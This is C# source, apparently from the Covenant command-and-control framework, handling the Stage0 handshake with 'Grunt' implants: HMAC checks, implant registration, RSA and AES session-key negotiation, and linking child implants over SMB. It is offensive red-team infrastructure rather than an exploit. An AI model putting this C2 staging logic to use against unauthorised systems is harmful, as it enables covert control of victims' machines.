private async Task PostStage0(APIModels.Grunt egressGrunt, APIModels.Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage0Response, string guid) { if (targetGrunt == null || !gruntStage0Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword))) { // Always return NotFound, don't give away unnecessary info this.PushCache(guid, new GruntMessageCacheInfo { Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null }); return; } bool egressGruntExists = egressGrunt != null; if (targetGrunt.Status != APIModels.GruntStatus.Uninitialized) { // We create a new Grunt if this one is not uninitialized APIModels.Grunt tempModel = new APIModels.Grunt { Id = 0, Name = Utilities.CreateShortGuid(), Guid = guid, OriginalServerGuid = Utilities.CreateShortGuid(), Status = APIModels.GruntStatus.Stage0, ListenerId = targetGrunt.ListenerId, Listener = targetGrunt.Listener, ImplantTemplateId = targetGrunt.ImplantTemplateId, ImplantTemplate = targetGrunt.ImplantTemplate, GruntSharedSecretPassword = targetGrunt.GruntSharedSecretPassword, SmbPipeName = targetGrunt.SmbPipeName, Delay = targetGrunt.Delay, JitterPercent = targetGrunt.JitterPercent, KillDate = targetGrunt.KillDate, ConnectAttempts = targetGrunt.ConnectAttempts, DotNetFrameworkVersion = targetGrunt.DotNetFrameworkVersion, LastCheckIn = DateTime.UtcNow }; targetGrunt = await _client.ApiGruntsPostAsync(tempModel); } else { targetGrunt.Status = APIModels.GruntStatus.Stage0; targetGrunt.Guid = guid; targetGrunt.LastCheckIn = DateTime.UtcNow; targetGrunt = await _client.ApiGruntsPutAsync(targetGrunt); } if (!egressGruntExists) { egressGrunt = targetGrunt; } // EncryptedMessage is the RSA Public Key targetGrunt.GruntRSAPublicKey = Convert.ToBase64String(EncryptUtilities.AesDecrypt( gruntStage0Response, Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword) )); // Generate negotiated session key using (Aes newAesKey = Aes.Create()) { newAesKey.GenerateKey(); targetGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key); await _client.ApiGruntsPutAsync(targetGrunt); } if (egressGruntExists) { // Add this as Child grunt to Grunt that connects it List <APIModels.GruntTasking> taskings = _client.ApiTaskingsGet().ToList(); // TODO: Finding the connectTasking this way could cause race conditions, should fix w/ guid of some sort? APIModels.GruntTasking connectTasking = taskings.Where(GT => GT.Type == APIModels.GruntTaskingType.Connect && GT.Status == APIModels.GruntTaskingStatus.Progressed).Reverse().FirstOrDefault(); if (connectTasking == null) { this.PushCache(guid, new GruntMessageCacheInfo { Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null }); return; } APIModels.GruntTaskingMessage tmessage = this.GetGruntTaskingMessage(connectTasking, targetGrunt.DotNetFrameworkVersion); targetGrunt.Hostname = tmessage.Message.Split(",")[0]; await _client.ApiGruntsPutAsync(targetGrunt); connectTasking.Status = APIModels.GruntTaskingStatus.Completed; await _client.ApiTaskingsPutAsync(connectTasking); } byte[] rsaEncryptedBytes = EncryptUtilities.GruntRSAEncrypt(targetGrunt, Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)); ModelUtilities.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, rsaEncryptedBytes); } catch (HttpOperationException) { this.PushCache(guid, new GruntMessageCacheInfo { Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null }); return; } // Transform response // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)" string transformed = this._utilities.ProfileTransform(_transform, Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); this.PushCache(guid, new GruntMessageCacheInfo { Status = GruntMessageCacheStatus.Ok, Message = transformed, Tasking = null }); return; }
// Data should be of format: IV (16 bytes) + EncryptedBytes public byte[] GruntSessionDecrypt(APIModels.Grunt grunt, byte[] data) { return(EncryptUtilities.AesDecrypt(data, Convert.FromBase64String(grunt.GruntNegotiatedSessionKey))); }